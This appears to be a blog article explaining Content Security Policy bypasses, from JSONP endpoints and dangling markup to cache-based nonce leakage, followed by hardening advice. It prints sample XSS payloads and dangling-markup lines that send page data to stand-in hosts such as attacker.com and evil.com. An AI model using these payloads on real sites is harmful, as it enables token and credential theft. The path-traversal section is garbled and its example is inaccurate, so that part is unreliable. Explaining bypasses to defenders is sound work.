Content Security Policy Bypass: 1,000 Ways to Break Your CSP 🛡️

Content Security Policy Bypass: 1,000 Ways to Break Your CSP 🛡️
Uncover the sophisticated techniques attackers use to circumvent even the strictest CSP configurations - from JSONP endpoints to dangling markup injection. Why your CSP might be security theater.
Introduction: The False Sense of Security
Content Security Policy (CSP) has become the gold standard for protecting web applications against Cross-Site Scripting (XSS) and other content injection attacks. CSP is a mechanism to define which resources can be fetched out or executed by a web page, implemented via response headers or meta elements of the HTML page. Organizations deploy it with confidence, believing they’ve erected an impenetrable fortress around their applications.
But here’s the uncomfortable truth: a poorly configured Content Security Policy can be bypassed, leaving the application vulnerable. In many cases, CSP functions more as security theater than actual protection—giving developers a false sense of security while attackers exploit fundamental misconfigurations and browser quirks to compromise applications.
This article explores the sophisticated arsenal of techniques attackers use to circumvent CSP, revealing why even the most carefully crafted policies might not protect you as well as you think.
Understanding Content Security Policy
Before diving into bypass techniques, it’s crucial to understand what CSP is and how it’s supposed to work.
Content Security Policy is a W3C standard that allows developers to control resource loading and execution of certain types of scripts in a web application. It acts as an additional layer of defense against content injection attacks, particularly XSS.
CSP works by defining directives that specify which resources browsers are permitted to load and execute. Common directives include:
- script-src: Controls which JavaScript sources can be loaded
- default-src: Fallback directive for other resource types
- img-src: Specifies valid sources for images
- style-src: Controls stylesheet sources
- connect-src: Restricts which URLs can be loaded using script interfaces
- frame-ancestors: Specifies valid parents for embedding via iframes
However, CSP does not represent your first line of defense but your defense in depth. It’s meant to catch attacks that slip past input validation and output encoding, not replace them entirely.
The Most Dangerous Misconceptions
One of the biggest problems with CSP deployment is the gap between theory and practice. Many developers implement CSP without fully understanding its limitations, leading to critical vulnerabilities.
The ‘unsafe-inline’ Trap
The usage of unsafe-inline source as a value of script-src directive makes the policy vulnerable and will allow inline scripting. This single configuration error completely negates CSP’s XSS protection, as attackers can inject inline script tags directly.
Wildcard Domains: A Ticking Time Bomb
Using wildcards in CSP policies might seem convenient, but it opens massive security holes. When you whitelist entire domains, you’re trusting every single endpoint on that domain—including those that might be vulnerable or designed to return executable code.
Technique 1: JSONP Endpoint Exploitation
One of the most reliable CSP bypass methods involves exploiting JSONP (JSON with Padding) endpoints on whitelisted domains.
This Content Security Policy bypass technique is based on the exploitation of JSONP endpoints present in authorised domains. These endpoints make it possible to bypass the same-origin policy and load data from other origins, while injecting JavaScript into the response in the form of JSON.
How JSONP Bypasses Work
JSONP exploits a script tag to load data from a different domain and then wraps the data in a function call. Since the data is wrapped in a script, it can bypass many CSP policies.
Consider a CSP policy that whitelists accounts.google.com:
Content-Security-Policy: script-src 'self' accounts.google.com
An attacker can exploit this with:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
The returned response contains executable JavaScript, which allows the alert(1) function to be executed via a script loaded from this endpoint.
There are a number of ready-to-use CSP bypass endpoints available in JSONBee, making this technique accessible even to less sophisticated attackers.
Real-World Impact
Major platforms like Google, Facebook, and countless CDNs have JSONP endpoints that can be weaponized against sites that whitelist these domains. This isn’t a theoretical vulnerability—it’s actively exploited in the wild.
Technique 2: Dangling Markup Injection
When full XSS isn’t possible due to CSP restrictions, attackers turn to dangling markup injection—a stealthy technique for exfiltrating sensitive data without executing JavaScript.
Dangling markup injection is a technique for capturing data cross-domain in situations where a full cross-site scripting attack isn’t possible.
The Mechanics of Dangling Markup
The idea is you inject some partial HTML that is in an unfinished state such as a src attribute of an image tag, and the rest of the markup on the page closes the attribute but also sends the data in-between to the remote server.
Consider this injection scenario:
INJECTION HERE
<b>test</b>
<script>
token = 'supersecret';
</script>
<form action="blah"></form>
An attacker injects:
<img src='https://attacker.com/exfil?data=
The resulting markup captures everything until the next quote:
<img src='https://attacker.com/exfil?data=
<b>test</b>
<script>
token = 'supersecret';
</script>
<form action="blah">
Bypassing CSP with Base Tag Manipulation
Using the target attribute on the base tag we can change the window name of every link on the page. By injecting an incomplete target attribute the window name will be set with all the markup after the injection until the corresponding quote on every link on the page, therefore allowing us to steal tokens.
This technique works even against restrictive CSP policies because it doesn’t require loading external resources or executing scripts—it simply manipulates HTML structure.
Advanced Iframe-Based Dangling Markup
CSP treats about:blank URLs as the same origin - however when an attacker sets a cross domain iframe to about:blank, it becomes readable by an attacker and is definitely not the same origin.
This browser quirk enables sophisticated attacks where iframes can be manipulated to leak sensitive information across domains, completely bypassing CSP protections.
Technique 3: Browser Cache Manipulation
One of the most sophisticated recent discoveries involves exploiting browser caching mechanisms to bypass nonce-based CSP implementations.
The method exploits the interaction between nonce-based CSP implementations and browser caching mechanisms, specifically targeting the back/forward cache (bfcache) and disk cache systems.
The Nonce Leakage Attack
The technique utilizes CSS attribute selectors to extract nonce values from meta tags containing CSP headers. While nonce attributes in script tags are protected from CSS selectors for security reasons, the same values reflected in meta tag content attributes remain accessible.
The attack proceeds in steps:
- Use CSS injection to systematically leak nonce values character by character
- Exploit CSRF vulnerabilities to update the injected payload
- Manipulate browser cache to serve the updated payload with the previously leaked nonce
- Execute malicious code despite nonce-based CSP protection
This research reveals significant implications for web application security, as many applications rely on nonce-based CSP as a primary defense against XSS attacks.
Technique 4: iframe and srcdoc Attribute Abuse
The srcdoc attribute of iframes provides another powerful bypass vector that many CSP policies overlook.
THE above CSP policy can be bypassed using iframes. The condition is that application should allow iframes from the whitelisted domain. Now using a special attribute srcdoc of iframe, XSS can be easily achieved.
Consider a policy like:
Content-Security-Policy: default-src 'self' data: *;
script-src 'self' https://trusted-cdn.com
An attacker can inject:
<iframe srcdoc="<script src='https://trusted-cdn.com/vulnerable-endpoint.js'></script>"></iframe>
The iframe inherits the parent’s CSP but can load content that bypasses restrictions through the srcdoc attribute.
Technique 5: Base64 Data URIs
When CSP allows data: URIs in script sources, attackers can encode malicious scripts directly into the policy-compliant format.
The presence of data: in the CSP allows the inclusion of scripts encoded in Base64, which will be interpreted directly by the browser.
Example exploitation:
<script src="data:;base64,YWxlcnQoMSk="></script>
This technique works because the browser decodes and executes the Base64-encoded JavaScript, bypassing external resource restrictions.
Technique 6: AngularJS and Framework-Specific Bypasses
Legacy JavaScript frameworks introduce their own bypass opportunities.
The CSP policy can be bypassed if the AngularJS application loads any scripts from a whitelisted domain.
AngularJS versions before 1.6 are particularly vulnerable due to their sandbox implementation weaknesses. Attackers can craft payloads that escape the sandbox and execute arbitrary code within applications using these outdated frameworks.
The Framework Dependency Problem
Modern web applications often depend on numerous JavaScript libraries and frameworks. Each dependency potentially introduces bypass vectors, especially when loaded from whitelisted CDNs that may host vulnerable versions.
Technique 7: Form Hijacking
Form hijacking isn’t related to traditional script execution but rather exploits HTML injection vulnerabilities to redirect form submissions.
When CSP doesn’t include form-action directives or allows form submissions to external domains, attackers can:
- Inject a fake form that mimics legitimate login interfaces
- Direct form submissions to attacker-controlled servers
- Steal credentials and sensitive data without executing any JavaScript
This technique is particularly insidious because it works even with the strictest script-src policies.
Technique 8: Path Traversal in CSP Policies
A subtle but critical vulnerability emerges from how browsers and servers interpret paths differently.
When you use the / to encode ‘/’ as part of your CSP policy and point it to a folder, it will still be considered part of the folder. When the server decodes it, it can be bypassed by using “/../”, bypassing the folder restriction.
For example, a policy restricting scripts to /company/
can be bypassed with:
https://example.com/company/../attacker/malicious.js
Technique 9: Object and Embed Tag Exploitation
While script tags receive the most attention, object and embed tags can also execute code.
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
Flash-based bypasses using object tags can also circumvent CSP when legacy Flash files are whitelisted or when object-src isn’t properly restricted.
Technique 10: Meta Tag Refresh Attacks
Meta tags provide another avenue for data exfiltration and redirection:
<meta http-equiv="refresh" content="0;URL=http://evil.com/log.php?data=
This injects a redirect that can capture subsequent page content, useful for stealing tokens and sensitive information.
Why Your CSP Might Be Security Theater
The harsh reality is that many CSP implementations provide minimal actual security benefit. Here’s why:
Complexity Breeds Errors
CSP configuration is notoriously complex. Content Security Policy configurations can be very complex, leaving gaps in coverage when utilizing older or larger web applications.
A single misconfiguration—like including ‘unsafe-inline’ or whitelisting the wrong domain—can completely negate protection.
The Whitelist Problem
Every whitelisted domain is a potential attack vector. As applications grow and integrate with more third-party services, the whitelist expands, increasing the attack surface exponentially.
Browser Inconsistencies
Different browsers interpret and enforce CSP differently, creating inconsistent protection across platforms. Attackers exploit these inconsistencies to craft bypasses that work in specific browsers.
Legacy Code Constraints
Even when the validation checks are bypassed, CSP blocks script execution from an unintended source neutralizing the attack to much extent—but only if properly configured. Legacy applications often can’t adopt strict CSP policies without breaking functionality.
Testing Your CSP for Vulnerabilities
Several tools can help identify weaknesses in your CSP implementation:
These evaluators analyze your policy and identify common misconfigurations, but they can’t catch every vulnerability—especially application-specific issues.
Manual Testing Approaches
Effective CSP testing requires:
- Identifying all whitelisted domains
- Searching for JSONP endpoints on those domains
- Testing for HTML injection vulnerabilities
- Attempting various bypass techniques systematically
- Analyzing how the application handles edge cases
Best Practices for Hardening CSP
While no CSP is completely bypass-proof, certain practices significantly improve security:
Use Nonces or Hashes, Not Whitelists
Avoid whitelisting domains entirely. Instead, use nonce-based or hash-based CSP:
Content-Security-Policy: script-src 'nonce-RANDOM_VALUE'
Generate a unique nonce for each page load and only allow scripts with that nonce to execute.
Eliminate ‘unsafe-inline’ and ‘unsafe-eval’
These directives should never appear in production CSP policies. They completely undermine XSS protection.
Restrict All Directives
Don’t just focus on script-src. Configure:
- object-src ‘none’: Prevent object and embed exploitation
- base-uri ‘none’: Prevent base tag manipulation
- form-action ‘self’: Restrict form submissions
- frame-ancestors ‘none’: Prevent clickjacking
Implement Report-Only Mode Carefully
Content-Security-Policy-Report-Only: Used for monitoring; reports violations without blocking them. Ideal for testing in pre-production environments.
Use report-only mode to test policies before enforcement, but never leave it permanently enabled in production.
Regular Security Audits
CSP isn’t a set-it-and-forget-it solution. Regular audits should:
- Review all whitelisted domains for JSONP endpoints
- Test for new bypass techniques
- Update policies as the application evolves
- Remove unused whitelisted domains
Cache-Control Headers
Security professionals must now consider cache behavior when implementing CSP protections, potentially requiring additional safeguards such as cache-control headers.
Proper cache headers prevent cache-based nonce leakage attacks.
The Defense in Depth Approach
CSP is an extra layer of security against content injection attacks. The first line of defense is output encoding and input validation always.
Never rely on CSP alone. A comprehensive security strategy includes:
- Input validation: Reject malicious input before it reaches your application
- Output encoding: Properly encode all user-generated content
- CSP: Catch attacks that slip through other defenses
- WAF (Web Application Firewall): Block known attack patterns
- Security headers: Implement additional headers like X-Content-Type-Options and X-Frame-Options
- Regular updates: Keep frameworks and libraries current
Real-World Case Studies
The Google JSONP Incident
Numerous applications whitelisting Google domains fell victim to JSONP endpoint exploitation. The oauth2/revoke endpoint became a favorite target for bypassing CSP protections.
The AngularJS Sandbox Breaks
Multiple high-severity vulnerabilities in AngularJS 1.x allowed complete sandbox escapes, compromising applications that relied on CSP for protection.
E-commerce Platform Compromises
Several major e-commerce platforms suffered data breaches when attackers used form hijacking to steal customer credentials despite seemingly strict CSP policies.
Emerging Threats and Future Concerns
As web security evolves, so do bypass techniques. Several emerging concerns include:
Trusted Types API Confusion
While Trusted Types promise better XSS protection, implementation errors can create new bypass opportunities.
WebAssembly Exploitation
As WebAssembly becomes more prevalent, new attack vectors will emerge that current CSP implementations may not adequately address.
Service Worker Attacks
Service workers operate outside traditional CSP constraints, potentially providing new exploitation avenues.
Conclusion: Moving Beyond Security Theater
Content Security Policy remains an important security mechanism, but it’s not the silver bullet many believe it to be. The multitude of bypass techniques—from JSONP exploitation to dangling markup injection, cache manipulation to framework-specific attacks—demonstrates that CSP alone cannot secure modern web applications.
The path forward requires:
- Realistic expectations: Understand CSP’s limitations
- Defense in depth: Layer multiple security controls
- Continuous vigilance: Regularly audit and update policies
- Security-first development: Build security into applications from the ground up
Your CSP might look impressive in security audits, but if it contains any of the misconfigurations or vulnerable patterns discussed here, it may be providing little more than security theater. The attackers know these techniques—it’s time defenders did too.
The question isn’t whether your CSP can be bypassed—it’s how long it will take an attacker to find the right technique. By understanding these bypass methods and implementing robust defenses, you can significantly raise the bar and protect your applications against the next generation of sophisticated attacks.
Remember: CSP is one layer in your security strategy, not the entire strategy itself. Deploy it correctly, test it thoroughly, and never assume it makes your application invulnerable.